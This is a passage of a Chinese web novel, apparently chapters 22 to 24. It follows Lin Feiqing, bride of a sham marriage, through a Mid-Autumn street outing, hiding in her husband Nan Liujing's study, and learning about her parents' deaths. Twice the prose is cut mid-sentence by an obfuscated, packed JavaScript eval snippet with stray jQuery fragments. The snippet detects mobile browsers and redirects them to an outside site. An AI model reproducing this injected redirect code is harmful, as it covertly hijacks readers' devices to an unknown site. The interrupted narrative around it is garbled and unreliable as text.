如果她没记错的话,皇后娘娘并不知她与南流景成亲的真相,而是以为,他们两人,两情相悦?
林霏清被自己这念头惊得咳嗽起来。
师先生抬睫,看向坐在对面的林霏清。这已是她今日第三次走神了。左右也快到散学的时辰,师先生干脆停了讲授。
林霏清好一会终于停下咳嗽,才意识到自己已经没听到师先生开口,疑惑抬头,正对上她平淡的眼神。
她一时有些心虚,讷讷道:“师先生……”
“夫人若是累了。”师先生道,“今日便到此为止吧。”
林霏清忙摇头:“不是的。我只是有些担心。”
师先生:“担心什么?”
想到师先生从前教过南流景,必然是见过皇后的,林霏清只停了片息,便问道,“皇后娘娘,是个怎样的人呢?”
师先生微微挑了挑眉,沉默。
就当林霏清以为师先生不会开口,正打算继续念书时,却听得她道:“脾气不大好,心眼也挺小,还喜欢动手。”
“……”
林霏清心沉了沉。
听起来,不太好相处啊。
“不过您放心,”师先生话锋一转,语气温和了些,“她不是坏人。”
林霏清微怔,再向师先生看去时,却见她已经低下眼,略略翻了几页书,道:“今日就学这么多吧,您得了空记得多临几遍新字,后日便是中秋,下次课程便定在节后吧。”
-
很快到了中秋。
宫宴设在傍晚,但准备却早早早便开始。
平日里梳妆只需秦柳一人,但宫宴这般场合,一人是不够的。
林霏清上午将口脂送至金玉楼,中午略略睡了一会起来,便看妆台前站着四五位宫装侍女,蓄势待发的架势让她倒吸了口凉气。
“夫人,请坐。”为首的那位微微侧身。
林霏清咽了口口水:“好。”
更衣,梳发,上妆……前前后后花了一个时辰。
林霏清看着镜中的自己,已经分不出好看与否,只是渴得不行,在上妆完毕的一瞬间便伸手去取茶壶。
却被一道温柔的力道止住。
抬眼,对上侍女的目光,她笑得温和,语气却坚定:“即将要动身了,夫人最好还是不要进食,以免御前失仪。”她微微松开手,从袖中取出一小方木匣,打开里头是一团棉花,“若夫人实在是渴,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830530|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿这个沾点水润润唇吧。”
林霏清:“……算了,我也不是很渴。”
侍女面上始终挂着固定的笑容,闻言也没再多劝,静静立在一旁。
又等了两刻钟,前院传来消息,马车已经套好,随时可以出发。
林霏清在秦柳随侍下动身,甫一从椅上站起,便被厚重的衣物绊了绊脚,她只好放缓步伐,总算是知道为何宫中之人走起路来都颇有威仪了。
比平常多花了一半的时间才抵达府门,南流景已经在马车内等候。
穿着这身衣裳,林霏清上马车都得由秦柳搀扶着,好不容易坐下,还得顾及着不能将衣裳弄皱,时刻屏气凝神。
相比之下,南流景的服饰也繁杂,一层一层的布料包裹住他,但他好像并未被其束缚,靠在软垫上,一手撑着文书,姿态随意又悠哉,林霏清甚至还看到他翘起了二郎腿。
她浑身紧绷,看的心痒痒,也跟着小幅度转了转肩。
却不想没控制住力道,肩头的珠串叮叮当当响了起来。
动静落到南流景耳中,他抬眼,看了看还在微微晃动的珠串,又看了看林霏清尴尬的面容,扯唇:“挺好听的。”
林霏清:“……”
看出南流景在拿她玩笑,许是喉咙过于干渴,使得林霏清都烦躁了许多。
默了默,她没忍住,低声道了句“幼稚”。
南流景没听清:“什么?”
林霏清轻咳一声,道:“没什么,就是有点渴。”
桌上有温好的茶,南流景冲茶壶方向扬了扬下巴,见林霏清不为所动,啧了一声,伸手倒了一杯挪到她面前:“喏。”
茶汤清亮,浅碧色盈在杯中水光泠泠,林霏清抿了抿唇,只觉口腔内已不会分泌津液,恨不得立刻牛饮几杯。
可是……
南流景皱眉,自己倒了一杯喝罢,不觉有什么问题,便干脆问道:“不是渴了?”
林霏清要很艰难才能把目光从那杯茶水上挪开:“还是不了,万一御前失仪就不好了。”
南流景没料到是这个答案,稍稍默了默:“你不想进宫。”
并非问句。
林霏清该不知怎么回答,只能尴尬地笑了笑。
看她这样子还有什么不明白的,南流景微扬声调:“调头,去铜锣街。”
外面响起银元的一声“是”,没一会,林霏清感到身下马车转了个方向。
而南流景再度冲她的茶杯扬了扬下巴:“现在不会御前失仪了。”
林霏清怎么也想不到事情会这样发展,有些呆滞:“不,不进宫了吗?”
“嗯,我本也不想去。”南流景轻描淡写地应了一句,“今夜没有宵禁,铜锣街更有意思些。”说到这里他顿了顿,视线在林霏清身上扫视了一圈。
他的视线很不遮掩,直白且锐利,像是在审视什么似的,林霏清不由挺直了脊背。
南流景收回目光,合上手中文书,放下二郎腿:“换身装束吧,这一身去街上必然会被偷的。”
林霏清拧了拧眉,不知是不是错觉,事情的发展好像有些诡异起来了。
南流景兀自起身到外间,让秦柳进来为林霏清换了身衣裳。
沉重的头冠取下时,林霏清甚至有种自己长高了的错觉。
马车很快停在街口,再往里走便不方便了。
林霏清起身预备下车,转头却看南流景还坐在位上,没有动身的打算。
“您不去吗?”
南流景反问:“去哪?”
林霏清被问住,算是看出来,南流景一开始便只打算她同秦柳下去逛,而他和银元便留在车上。
且看一旁堆起的文书,便知有多少事需要南流景处理。
可是,中秋还这样,不管是银元还是南流景,都有点可怜啊。
连师先生都给她两日假了呢。
不过,她能说服南流景的办法,好像只有一招。
“南老板,方才我答应了您,现在也该您答应我一件事了。”林霏清细声道。
南流景抬眼看向她。
-
最终,南流景答应与她一道到街上走走。
前提是,林霏清要帮他推轮椅。
这对林霏清自然不是什么难事,她在家里可是牛车都驾过的。
可才走了没一会,甚至回头还能清楚看到不远处的马车,南流景便主动提出,不坐了。
嗯?
林霏清有些奇怪,可看南流景态度坚决,加上这也不是什么大事,便让到一边,由银元过来将轮椅送回车上。
因为他们这一阵停顿,路上稍稍有些拥堵起来。
林霏清尽量避让到路边,却还是不小心撞上了路人。
“抱歉。”她轻声道。
好在那人没同她计较,摆摆手便打算离开。
这时。
“等等。”
南流景突然向这边迈了一步,不偏不倚挡住那人的路。
他比那人高了不少,垂眼时,眼角眉梢都带着冷意。
那人突然被拦住去路,差点撞到南流景身上,好不容易站稳,火气登时上来,却在对上南流景的眼神后弱了下去:“你干什么。”
林霏清一时也有些紧张。
银元回去送轮椅了,要打起来的话,她得反应快一点。
可当林霏清悄悄撸起袖子做好动手的准备后,南流景却又突然侧身让过,慢吞吞道:“啊,不好意思,认错人了。”
他虽然说着抱歉,但语气却没有一点抱歉的意思,反而傲慢至极,听着便让人生出一股火气。
好在那人貌似也没有惹事的打算,见南流景让开,嘴里嘟囔了几句,便匆匆离去。
待他消失在人流中后,南流景才拿出一直背在身后的手,以及上头的三四个钱袋。
林霏清愣了愣,看见其中一个,像是她的。
下意识探了探自己悬挂钱袋的位置,果不其然,已经空空如也。
这一会南流景已经将其余几个钱袋交到秦柳手上,吩咐她去报官,回头便见林霏清愣愣站在原地,一只袖子撸起。
他扬了扬眉,把林霏清的钱袋递过去:“怎么这副样子?”
“咳……”林霏清轻咳一声,放下衣袖接过钱袋,“我担心打起来。”
“所以打算先动手?”
林霏清理所当然道:“他离您那么近,万一您受伤了怎么办。”
她可还记得,南流景身子极弱,一阵风都能吹倒,是需要认真保护的。
南流景微怔。
“不过,”林霏清与他一道走到街边,等银元与秦柳回来,“您是怎么知道他是贼人的?”
她的钱袋藏得还算深,那人只是与她稍稍撞了一下,竟就神不知鬼不觉的摸走了。
当真是好本事。
不过这样说来,南流景又是什么时候把钱袋拿回去的?
林霏清想起南流景上前一步拦下的动作,以及两人险险撞在一处,那贼人甚至都没碰到南流景。
撬锁偷盗,南流景会的这些技巧都很危险啊。
林霏清思绪渐渐跑远,回过神来才想起南流景始终没有回应。
街上喧嚣,身旁人却像消失了一般。
林霏清疑惑地抬头看向他,却见南流景视线落在她身上,不知已经不加掩饰地看了多久。
灯火没有照亮他的面容,只能看见他流畅的轮廓,和冷淡的眼神。
林霏清呼吸微滞。
“你觉得赵书源这人如何?”
她听到南流景这样问。
23. 第 23 章
这是一个在不合适的时间,不合适的地点,由不合适的人提出来的问题。
话落的瞬间,不仅林霏清,连南流景也愣住,全然没有想到自己会说出这样的话。
他迅速偏过头去,避开林霏清的视线,在她反应过来前,道:“我还有事,得回去了。”
林霏清还没来得及回应,便看南流景提步往马车方向去,相较平时,步履都显得仓促了几分。
好像,真的还挺忙的。
虽说这场婚事是假的,但影响总在潜移默化之中造成的。
林霏清有意无意之间知晓了很多她从前不会关心的事情。
就比如,林霏清知道皇帝这一年都去北伐而不在燕都,又比如,如今国库紧张,包括粮草在内,国内凡有重大开销皆有南流景相助,甚至她还知道,户部尚书也空有名头,整个国家的经济能顺利运转都少不了南流景拍板把控。
但他太过游刃有余,做这些又无人褒奖,以至于林霏清时常都想不起,南流景到底要负担多少。
现在想来,她不由分说带南流景到街上来的行为,看似好心,实际蛮横又粗鲁。
毕竟那些公务又不会自己解决,耽误的只有他的时间。
林霏清低下头。
或许她日后,应该少打扰南流景一些。
南流景返回马车途中正碰见银元,他语速极快地吩咐道:“此处人多,你先去她附近守着,待秦柳回来便来见我。”
银元动作停了停,又很快点头:“是。”
南流景坐回马车之上,一口饮尽自己倒下已经凉透的茶水。
想起方才所言,有些绝望地捂住了自己的额头。
脑子呢?他的脑子也有病了吗?怎么能问出这种问题?
——你觉得赵书源这人如何?
这跟他有什么关系,人家爱怎么觉得怎么觉得,难道还要得到他的首肯吗?
气血涌动,南流景一时有些眩晕,闭上眼深深平复了下呼吸。
冷静些。
显然他方才做了蠢事,没把握好分寸,也没保持好距离。
好在只是一句问句,就此打住,不会有什么影响。
日后不要再犯这样的错了。
到底见识过不少风浪,待睁开眼时,南流景已经冷静了下来。
恰银元返回车上,南流景平声问:“秦柳回来了?”
银元:“是。”
南流景不动声色地吩咐:“先回府,另派辆车来等她们。”
“是。”
秦柳回来时,见只余下夫人一人,有些疑惑:“怎么只有您在?”
林霏清简单解释了一句:“南老板有事要忙。”不欲多谈此事,她转而笑道,“走吧,看来今夜只有你我二人了。”
红烛彩灯高悬,整条街上无一处不华,无一处不亮,秦柳跟在林霏清身旁,看着满街新奇玩意儿惊叹不已。
按理说林霏清本该也喜欢这些的,可她挂念着南流景,竟生不出什么兴致,只是看着秦柳对什么感兴趣,便掏钱帮她买了。
这样溜达了一圈,回府后,瞧见书房方向亮着灯,林霏清叹了口气,心下越发愧疚。
一直到临睡前躺在床上,林霏清才隐约想起,南流景离开之前,好像问了她什么?
问了什么?
想不起来,不过应当不是什么要紧事,毕竟她都没回答南流景就走了。
算了,想不起来就想不起来吧,明日还要同师先生学文字呢。
-
宫宴结束后,胡挽月与其兄长一道回府。
妹妹闷闷不乐了一夜,胡朝自诩清楚妹妹的心思,安慰道:“南大人公务缠身,已经许久没有休沐,今日没来也是意料之中,往后还有机会见他的。”
“我知道南大人忙。”胡挽月轻声道,“可是,我听得的消息都说,林夫人也会来的。”
可她找了一晚上,都没找到她。
她原本很想看看,林夫人穿宫装的样子。
-
很快又过了三日,林霏清在文字上越发熟练,从前看着如山一般难以翻越的千字文,也已经背了一多半。
师先生说,她长进很快。
这日休假,林霏清打算临罢师先生布置的字帖,而后便去村里看看舅舅舅母。可要动笔时才想起,她这边的墨条早用的差不多,中秋时便打算去库房再取一些,只是那时焦虑宫宴,竟忘了。
秦柳才去用早饭,林霏清不欲打扰她,便自己动身往库房去。
存放笔墨的库房与书房处同一院落,这几日南流景不在府上,此处清净的很,只有上次打瞌睡的小童守在院门处。
林霏清笑着同他打了个招呼,进到库房内,很快寻得了足够的墨条,打算离开时,却正巧碰见银元踏进院门。
他依旧是往日那副打扮,面无表情,脚步带风,手中捧着一册文书,见到林霏清的瞬间,停下步伐,微微欠身:“夫人好。”
林霏清冲他笑了笑:“你也好,这是给南老板的东西吗?”
银元:“是老板要调查的一些东西。”
难得银元还多解释了一句,林霏清点点头,没再多问,侧身让过。
擦肩而过的一瞬间,书页被风吹起,隐约可见“林霏清”三字。
林霏清脚步一停,视线下意识追上去,却只看到银元匆匆远去的背影。
但她确信,方才的确在内页看到了她的名字。
所以。
南流景调查的,是她?
林霏清心烦意乱地回到院中,回过神来时自己已经坐在书案前,临了满满一张纸。
扫了一眼,见那字同狗爬过一般,越发气闷。
她撂下笔,实在坐不住,便起身在屋内来回踱步。
南流景到底调查了她什么。
林霏清也知道她行不正坐不端,她连婚事都是骗过来的。
所以,南流景是怀疑她的身份,所以才让银元去调查了吗?
可是是什么时候开始怀疑的?
她竟然一点都不知道自己什么时候暴露了。
林霏清双手微微发抖,咬着下唇思考起来。
赏荷宴?不,那会南流景对她还很和善,还开玩笑安慰她来着。
后来……她买了红烧肉,但是没给南流景吃。
是因为这个生气了吗?
也不应该,南流景又不是赵栋,怎么可能因为一份肉生气。
但,但也不一定呀。
先前她就几次三番地想要帮扶舅舅家,后来还恬不知耻地要学读书,算上那份红烧肉,这么多事堆积在一起,南流景恼了她也不奇怪。
说来,好像也就是她打算读书后,南流景突然便对她冷淡起来。
故而也就是从那时,开始怀疑她的吗?
说得通,这样说得通。
“嘶——”突如其来的疼痛使林霏清回过神来。
摸了摸下唇,方才抖得太厉害,竟不留神咬出了血。
随意将唇上血迹擦掉,林霏清深深吸了几口气,稍稍冷静下来。
这些都只是猜测,到底是不是,还得亲眼见了才好。
南流景随时可能回府,若是想要知道银元拿进书房的文书上写了什么,得趁南流景回来之前。
不能再耽搁了。
林霏清打定主意,决意先去书房瞧一瞧。
推开门,此时院中只有几个扫地的杂役,近日来也习惯了夫人身边独身一人,并不会凑上去。
林霏清屏气,回身关上门,没发出丁点动静。
一路顺遂,很快回到书房前,林霏清正想着什么法子能在那小童眼皮底下进去,却不想又看见他在那里打瞌睡。
脑袋垂下,显然已经睡着。
这样可不行。
今日之后,得同他好好说一说。
不过今日就先不说了。
林霏清放缓了脚步,略过小童,溜进院中。
还记得银元最初去的方向,是南流景用于办公的屋子。
门没锁,轻而易举便推开了来。
相比上次来,这里要整洁干净许多,书籍纸笔各归其位,应当是有仆从进行了收整。
如此顺利,林霏清舒了口气,接下来,只要寻得那册文书便好。
只是要开始时,她才意识到,并没那么容易。
几张桌面上都不见银元拿来那册书的踪迹,多半是收起来了。
这屋子不小,光随墙书架便有五六座,更不用提一些细碎藏书的角落,想要从茫茫书海中找到一册文书,实属不易。
但事到如今,还能怎么办呢。
林霏清打起精神,顺着书架,一本一本辨认过去。
她学字还不到一个月,有些书名一眼看不明白,还得取下翻阅了内里文字才能判断。
如此一来,进度可谓缓慢。
不知过了多久,才终于看罢一架书架,揉着酸痛的脖子抬起头时,却突然听得屋外传来一阵响动,听着脚步声,竟像是南流景的。
他回来了?
脚步声直直往屋内来。
来不及细想,林霏清迅速闪身躲到座屏后。
下一瞬,便听得房门推开,有人踏进屋内。
除了南流景外,听着还像是有另一人在。
脚步越来越近,林霏清屏住呼吸,不敢发出丁点声音。
好在两人只在正屋谈话,并未有越过座屏的打算。
透过座屏,隐约可见两人的身影。
看南流景停在方才她查看过的书架前,林霏清心快从嗓子眼跳出来了。
她有没有把书收回原位,南流景会看出有人来过这里吗?
或许是错觉,南流景的动作好像微微有些停滞,只是还不待林霏清细想,便看他抬手在上头取下一册递给来人。
“娘娘要工部负责燕珠瓷局重新开窑,这是前朝瓷局还开设时效益最高当年的收支账册,你在户部找几个人核对一下。”
那人道:“是,要怎么做?”
南流景淡淡道:“城南霞栖山上有座寺,你拿三根香去拜一拜,看看神仙怎么说。”
他的语气过于平淡如常,那人一时也有些迟疑:“……然后呢?”
南流景:“然后把账册给别人,你的话,去太医院瞧瞧脑子吧。”
自始至终在屏风后偷听的林霏清有些沉默。
南流景这般模样,在她印象中极为少见。
林霏清的印象里,南流景更多时候是猫儿一般的脾气,你知道他嚣张傲慢,但他心情好时也会让你顺毛摸一摸,却从未有过这样冷硬而严厉的样子。
这幅公事公办的样子,多少让她有些陌生。
南流景没理会那人,直接说起了另一件事。
“让光禄寺的人加紧把宫宴支出报上来,核对没问题了再批签,现在还不到他们吃油水的时候。”
他一边有条不紊地吩咐,一边又有了动作,林霏清还未松下去的气又提起来,瞪大眼睛看着南流景调转脚步向里屋走。
这样下去,只要越过座屏,第一眼便能看到她。
林霏清四下望了望,旁边倒是有一方立柜可以进去躲避,可南流景就在几步之外,这样的动静绝对躲不过他的耳。
时间在这一刻无限拉长,林霏清紧紧盯着前方,只听得脚步声渐渐逼近。
从前她杀鸡时,会磨好刀利落地在鸡脖处来一刀,鸡血从那一条细小的伤口溢出,滴落在盆中,最初鸡会挣扎,到后面没力气了,彻底不动了,鸡就死了。
而她只需要等待。
鸡不知道它的挣扎没有用,在刀划过它脖子的一瞬间,它的死亡便是注定的。
挣扎的越厉害,死的越快。
“还有南边……”
南流景最终还是越过座屏。
而后,毫不意外的,四目相对。
“……”
林霏清满心绝望,南流景少见地打了个磕绊。
不过一瞬之后,他又好似什么都没看到一般,平静地继续说了下去。
林霏清见状,稍稍冷静下来。
不知南流景想了什么,但看这样子,像是不打算现在追问。
只是还没来得及松一口气,余光便见另一人同样向里走来。
若是让他发现这里还站了一个人,场面不知会尴尬到什么地步。
林霏清快被这一惊一乍折磨疯了。
南流景就是在这时朝她走来。
一步一步,稳稳当当。
嘴里还在一个接一个地吐出清晰无比的数字。
他最终停在立柜旁,抬手打开一侧柜门。
举止坦然,没有丁点遮掩的意图。
见林霏清不动,他又微微偏头,对上她的眼,提醒般挑了挑眉。
林霏清如梦方醒,迅速钻进立柜中。
柜门关上时,清楚瞧见那人踏进内室的鞋面。
木质的柜门,打开与合上的动静都不算小,胡朝自然听见了声音,甚至他还看到了南流景的手从把手上离开。
可南大人的姿态如此自如,加上方才才被他斥过,故而虽说好奇,但胡朝并未多嘴问询什么。
林霏清等了一会,并未听到谈起立柜的事,终于是放下心。
不知这立柜先前是存放什么的,现下里头空无一物,倒不怕不小心磕碰了什么。
一片黑暗中,五感只有听觉尚有用途。
但南流景他们说的话,林霏清实在听不太懂,小心翼翼蹲下,盯着虚空一处,思绪渐渐飘远。
而今虽然并未引起另一人的注意,但南流景那边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836086|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应当是瞒不住了。
事到如今,好像也没什么能挽回的办法。
她没办法解释自己为何会出现在这里,也没办法解释自己当初为何要撒谎。
……她应该会被送回荷花村去。
看来,就算短暂地从荷花村逃出来,实际上也没改变她的命运。
不,改变了的。
哪怕还不是很多,但她也认识了一些字,她现在知道该如何握笔,如何磨墨,如何写字,已经和以前很不一样了。
只是不知这次回去后,她还有没有运气活下来。
不过这次她有所预料,被打之前应该会跑。
等等,不对。
她记得,成婚之前,好像是有圣旨赐婚的。
林霏清抱膝,呆滞地眨了眨眼。
那她这样,是不是,欺君啊。
欺君之罪,是要杀头的吧。
真没想到她还能做出这么胆大包天的事。
林霏清被自己逗笑了,黑暗中轻轻抿了抿唇。
也没想到,她都做出这么大胆的事了,竟然还这么窝囊。
或许是觉得只余下一条死路,林霏清心里反而没有先前那般慌张。
她断断续续想了许多事,想到舅舅舅母,想到赵栋,想到阿香,甚至想到了母亲。
母亲若是知道她现在变得这样卑劣,会不会生气?
林霏清在这个问题上思考了一会,却有些难过地意识到,她根本想不出来母亲会如何反应。
太久了,她已经不记得了。
不知过了多久,林霏清注意到外间的交谈声停止,只是仍不确定人是否离开,她是否可以出去。
她小心靠近柜门,侧耳打算仔细听一听。
却不想才倚过去,柜门便猛然打开,林霏清骤然失了平衡,向前跌去。
闭上眼的前一瞬,看到的是如花一般,雪白的衣摆。
但预料之中的疼痛并未袭来,一只手稳稳地拦住了她。
浓郁而清冽的药香温和地包裹住她,林霏清睁开眼,抬头,对上一双的熟悉的眼。
但这双眼从前不会用这样疏离的目光看她。
果然,他在怀疑她。
林霏清迅速低下眼,借着南流景的力道站起身。
还不等她站定,南流景便收回了手。
带着避之不及的急切。
饶是早有预料,林霏清也被这嫌弃的态度弄得有些尴尬。
她下意识想退后些许,可蹲在柜内太久,双腿早已麻痹,本就站不稳,现在这一动,竟是再度向前倒去。
南流景猝不及防被扑了个满怀,慌乱中只来得及护住人便向后跌去。
尾椎及后腰磕到后方桌上,顿时整个后背都没了知觉。
林霏清没料到南流景在这种情况下还先护住了她,听见他闷哼了声愣住,忙道:“您没事吧?”
南流景皱着眉,并未回答,只冷声道:“先起来。”
林霏清点头,只是两腿还麻着,不由她使唤。
她只好讪讪抬头,低声道:“抱歉,我腿麻了……您先起来吧,把我丢地上缓一会就行。”
“我动不了。”
却听南流景这样道。
更糟糕的是,两人现下贴的极近,他微微低睫,便能看到女子乖巧伏在他怀中,素面朝天,清亮的眼中盛着担忧,再往下,饱满浅淡的下唇上,一道嫣红的伤口格格不入。
鬓发凌乱,木钗欲坠不坠,几缕发丝散落至他胸前。
南流景抬起视线,不去看她。
可他的手还搭在林霏清后腰处,夏日衣衫单薄,他能清晰感受到掌下的身体温热,柔软,带着生机的鲜活,与他的冰凉枯槁全然不同。
太好了。
南流景闭眼深深吸了口气,才说下定决心要保持距离知晓分寸,现下便拥在了一处。
他到底还要再做多少蠢事。
知晓这院中无人看守,林霏清没费力气唤人来,待双腿稍稍有了知觉便立刻起身。
南流景睁眼,终是没忍住,赶在林霏清离开前,抬手欲将她头上歪斜的木钗扶回原处。
只是到底晚了一步,那木钗随着动作滑落,南流景还未收回手,柔顺的黑发沿着他手背泻下,恍若锦缎。
……
南流景喉结微微滑动,若无其事地收回了手。
林霏清没注意到他的动作,起身后便试图搀南流景起来,却不想才扶着他的胳膊稍稍动了一下,便听得南流景“嘶”了一声。
林霏清吓了一跳,没敢再让南流景用力,决定叫金太医来。只是书房为保护存书,一年四季都维持低温,南流景身子弱,在地上坐久了只怕会感染风寒。
想了想,林霏清低声道了句“抱歉”,而后没等回应,俯身将人拦腰抱了起来。
这不是她第一次抱南流景,相较上次,他好像更加消瘦,林霏清都怕一阵风过来将他吹跑。
但对于南流景来说,这却是他第一次在清醒的状态下被人抱起。
失重感来得猝不及防。
她的胳膊很瘦,应该是从小没有好好吃饭的缘故,被这样细瘦的人抱起,第一反应都会是难以置信。
但她抱得很稳,动作十分利索,几步的工夫他便被搁置了软榻上。
“您稍等片刻,我去叫金太医来。”林霏清匆匆道了这一句便离开。
南流景维持着先前倚坐在地上的姿势,看着她的背影消失在转角处。
青蓝色的裙摆,若山间的泉水。
南流景平静地收回视线。
他这样短命的不吉之人,该有自知之明。
林霏清很快带着金太医赶来书房,见着南流景狼狈的模样,金太医才蓄起来几寸的胡子都抖了抖。
“您这是……”
林霏清作为害南流景负伤的始作俑者,闻言本打算向金太医解释,南流景却在她前头道:“废话少说。”
是一向的不解释的风格。
金太医捻了捻唇上胡须,也是习惯了,并未多说什么,上前诊治。
见诊治要褪去上衣,林霏清便悄悄退至外室。
偶尔能听见金太医几句低语从里头传来,可自始至终,没有听见南流景发出丁点声音。
莫约三刻钟后,金太医从内室出来,同林霏清禀道:“夫人放心,大人腰后的伤并未伤及筋骨,只是有淤血堵住脉络,还需施针静养几日。”
林霏清缓缓点了点头:“好,劳烦您了。”
送走金太医,林霏清返回内室,看趴伏在榻上南流景,轻声道了句“抱歉”。
她没有直说,但南流景与她应当都清楚,这句道歉不止因为他身上的伤。
南流景懒懒应了一声,并未起身,只微微偏了偏头,看向她:“还记得你爹娘吗?”
24. 第 24 章
南流景的话让林霏清茫然了片息,她轻轻摇了摇头。
“记不得什么了。”
南流景面上没什么表情:“我猜也是。”
嗯?
这话是何意?
林霏清尚在不解中,却听南流景又道:“往里第三间屋子,进去后左转五步,架上第二排,应当只放了一册文书,麻烦拿过来。”
他说的清楚,林霏清很快便依言找到了那册文书。
瞧着眼熟,落在手里轻飘飘的。
林霏清猜测,这多半就是她来书房打算找的那本。
她放快脚步,以免自己忍不住打开偷看。
先前南流景不在时她尚且有胆子,现在人都回来了,她还害的人动弹不得,再偷看也没了意义。
况且她现在,也不怕被赶出府了。
林霏清轻轻将文书搁在南流景手边。
他却没分过去分毫目光,而是始终看着林霏清:“不打开看看?”
林霏清搞不懂这话是什么意思,对她的考验吗?
她抿唇,坚定地拒绝:“我不看。”
南流景:“……”
“打开看看吧。”
考验一次还不够吗?
林霏清微微蹙眉,再一次拒绝:“不。”
南流景:“……”
“啧,快点。”
这下,听起来不像考验了。
林霏清小心觑了觑南流景的脸色,他闭着眼,任她打量。
见他不似作假,片晌,她终是拿起文书,翻开前还提醒自己,一旦发现南流景表情不对,就立刻搁下。
却不想才翻开第一页,她便呆住了。
里头并非她作假冒充的证据,而是,是她爹娘的生平。
“时间太久,加上是前朝的事,银元最多也只能查到这些。”南流景道,“你不妨先看看。”
闻言,林霏清压下心底惊骇,一个字一个字慢慢看过去。
她看的有些吃力,抬起头时,已经过去了一刻钟。
南流景还是先前那个姿势:“如何?”
林霏清捧着文书,不知是什么心情:“我爹娘,好像只是普通人啊。”
一个在村里教书的普通秀才,娶了一个邻村的普通姑娘,两人普通地过了几年生活,生了一个普通的女孩。
若是在太平盛世,这样普通的家庭多半会经历一个或许会有小挫折,小争执,但总体没什么波澜却安稳的一生。
但如今变成这样,不能说是谁人的错,只是,运道不好。
“是吗?你这么想的?”南流景清越的声音响起,如冰凉的玉,击碎了林霏清的沉思。
她看向南流景,仍有些迟钝:“您是什么意思?”
南流景看着她,直言道:“燕都并非战事吃紧的地方,你父亲有功名在身。征兵是征不到他头上的。”
“可实际上我爹就是……”后半句话淹没在喉间,林霏清捧着文书的手猛然攥紧,低头,看着上头“秀才”二字,恨不得把纸盯穿。
赵先生也是秀才,因着功名在身,并未被征走。
要是父亲没有参军,就不会死在战场上,母亲也不会操劳重病。
那为何父亲被征走了?
……
“呼吸。”
眼前发黑,恍惚之际,后脑被轻轻拍了拍。
林霏清如梦方醒,抬眼,便看南流景竟站在自己身前,冰凉的手指搭在她脖颈处,微微歪头,像在感受什么,一边道:“放松些,别忘了呼吸,慢慢来。”
林霏清怔怔看着他,下意识随着他的指示呼吸吐纳。
一呼一吸间,原本横冲直撞的怒气慢慢被捋顺,一直到林霏清情绪稳定下来,落在颈间的手才撤回。
南流景缓缓坐回榻上,动作还有些僵硬:“我记得你爹娘原本居所离燕都并不远,不若去那边打问一下,或能得出什么消息,我也会派银元继续查下去,别太着急。”
音色难得带着安慰的柔和。
林霏清声音有些哑:“多谢您,这样为我考虑。”
南流景坐在榻上,一手搭在旁边的扶手上,身子微弓,额前发丝垂落,只能看到毫无血色的薄唇:“应当的,只是我现下不方便,想来只能你一人前往了。”
林霏清沉默了会,南流景的话听起来没什么问题,却莫名有种客气疏离的感觉。
“……那,您好好休息,我先走了。”最终,她也只说了这句,便离开了书房。
原本打算下午去见舅舅舅母,但现下知道爹娘的事,林霏清便没心思再去荷花村了。
她不想耽误时间,当即便遣人备车。
距她上次回去,已经过去很久了。
临近白云村,林霏清忍不住回想起来。
自从搬到舅舅家之后,记忆中她只回去过一次,是五岁那年的清明,后来舅舅便说世道危险,加上她还小,不方便去,便再没回去过。
而那唯一一次回去,也因为时间久远的缘故,几乎没有印象了。
她一时有些后悔,应该带点祭品的。
之后吧,之后再来的时候一定带上。
马车停在村口,林霏清与秦柳一道下了车。
出乎意料的,她如今竟然还能记得家的方向。
只是过去后,才发现这屋子早已换了人居住。
一对夫妻带着两个孩子,男人大约是才午睡起来,揉着眼睛提着锄头往田地去,两个孩子跟在他屁股后头,打闹着,最后被他们娘亲在门口唤了回去。
林霏清与秦柳在不远处站了一会,见女子带着两个孩子回家,便上门询问,知不知晓先前住在这院子里的人家。
可惜这对夫妻是从旁的地方搬过来的,来时这里已经空置了许久,并不知晓从前住在这里的人的事。
林霏清有些失落,点头告辞,却不想才出院门便听得有人唤她名字。
顺着声音看去,是个四十左右的妇人。
对上视线,这位妇人越发激动,上前便要拉她的手,却被秦柳拦住。
只是这样仍不减她的热情:“是霏清丫头吧?都长这么大了,今日怎么回来了?”
林霏清盯着她,来人五官有些熟悉,缓缓与她脑中一人对上。
她迟疑道:“张姨?”
妇人的反应证实了她的猜测,张姨瞬间绽开笑:“你那时才多小啊,竟还记得我?”
林霏清还记得张姨,是因为,张姨是小时经常来她家的一位。
每次张姨来时,都会给她带甜甜的米花糖。
如果是张姨,会不会还记得当年发生了什么?
“你爹参军前?”张姨将林霏清带到她家里,倒了杯水,闻言愣了愣,“丫头,你是不是知道了什么?”
听张姨这样说,林霏清越发确定,张姨定然知晓当年之事。
她恳切道:“若您知道什么,还请告诉我。我已经不记得爹娘的样子了,只想再多知晓一些他们的事。”
张姨喝了口水,低下眼,支支吾吾道:“我知道的其实也不清楚。”
“张姨。”
林霏清的声音不自觉便带上了点厉色。
“哎呀。”张姨放下水杯,发出一声轻响,“我就只知道,你舅舅当时常来,后面你爹参军之后,你娘还常骂他来着。”
“骂谁?”
“你爹你舅,都骂。”
“……”
林霏清又多问了一些当年的细节,张姨知道的确实不多,但对于林霏清来说已经足够。
其实都不用再多问。
